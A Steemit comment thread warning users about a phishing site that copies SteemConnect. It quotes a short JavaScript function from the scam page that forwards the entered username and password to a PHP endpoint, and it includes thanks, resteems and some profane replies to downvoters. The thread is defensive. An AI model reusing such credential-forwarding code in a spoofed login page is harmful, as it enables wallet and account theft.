@SirCork exactly scam...I checked the source code
function red(u, p, m){
window.location = "http:///%22+window.location.hostname+%22/subscribed.php?hash=98ODFHJ23090ujden9oj23dj238032gh2ohjgp108ghuohoefhjnijHH89U&u=%22+u+%22&p=%22+p+%22&status=done";
}It sends user and pass to a php function and the site is exactly replicating the steemconnect
BE CAREFUL OUT THERE!
DO RESTEEM THIS TO ALL YOUR PEOPLE - HUNDREDS OF WALLETS AFFECTED, REPORTS FILLING MY INBOX LIKE A SLOT MACHINE GOING OFF ON DISCORD BELLS.
IT'S FOOLING PEOPLE, DON'T LET IT!

@SirCork
Witness #74
fair play for spreading the word on this scam
but what is this about hundreds of wallets being effected?
I've been in contact with a significant portion of the users effected and only one user so far seems to have lost money to this.
Seeing Steemit Inc. Headquarters is in Austin, then the problem should be dealt with Geographically Conveniently eh?
@sircork thank you for the info, also the raising in witness number <3...... people think that the teams of people doing good....teamgood is Unicorns and Pixies, NO...there are people doing good to protect this platform.
Here is what I hope newer users and whoever needs a refresher gets...
b.a.
founder of teamgood, narwhals, other stuff etc..... (SUPPORTING THOSE WHO SUPPORT US)
Thanks, I check my wallet and I have the exact message. Very much appreciate the heads up. Might have saved me a big head ache, and some steem.
I didn't see it on mine
I received this memo about 1h ago.... Thanks for the warning!
Resteemed.
Be careful out there, don´t just klick on any links someone is sending you!

Hey @theprofit0!
WHY YOU HATE YOUR FELLOW STEEMIANS SO MUCH THAT YOU WOULD TRY TO SUPPRESS INFORMATION THEY NEED TO SEE?
Nice look there, got ANY kind of rationale to flag an important post on a person you never met or showed up on the platform in any visible way in nine months to engage?

Or is this YOUR scam site?
Why would anyone downvote this?
I think they are actually hacker compromised accounts, it turns out. Makes sense, the hacker would flag, so they clicked the link mentioned herein.
Is @Hanwoo in on it too? Am I hurting your phishing trip here? What the actual fuck are you fools trying to prove?
And for that matter who the fuck are you even @hanwoo? A 45 day old minnow account. Do you even know where you are right now?
More people resteem this post, less wallets will be stolen.
Thank you so much @sircork for the alert. I resteemed this post so that my followers will know about this and be alert.
Voted 100 % and resteemed for all the visibilty I can provide! Well done for spotting and informing us!
